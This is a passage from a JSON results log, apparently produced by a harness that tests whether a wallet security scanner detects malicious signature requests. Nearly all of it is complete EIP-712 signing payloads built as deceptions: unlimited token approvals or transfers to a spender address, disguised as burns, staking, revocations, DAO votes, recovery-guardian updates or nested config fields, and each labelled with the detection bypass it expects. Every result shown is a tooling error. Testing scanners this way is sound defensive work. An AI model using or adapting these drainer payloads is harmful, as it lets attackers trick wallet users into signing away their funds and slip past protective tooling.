Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:23:54.197Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:24:03.753Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:24:13.315Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:24:22.879Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:24:32.437Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN45-EIP3009-022", "timestamp": "2026-01-31T18:24:41.989Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe155c80ea4768ff2471771354b4e28e8efd6e4a5f35574d7f25481ef57aa8b38\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN45-EIP3009-054", "timestamp": "2026-01-31T18:24:51.529Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xb2279b5d84469cb7f35afb347996f4ba2d60f2041fd4ca4c354438041530ee25\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:25:01.073Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:25:10.631Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:25:20.171Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:25:29.721Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:25:39.260Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:25:48.816Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:25:58.357Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:26:07.912Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:26:17.450Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:26:27.003Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:26:36.550Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:26:46.112Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:26:55.667Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi 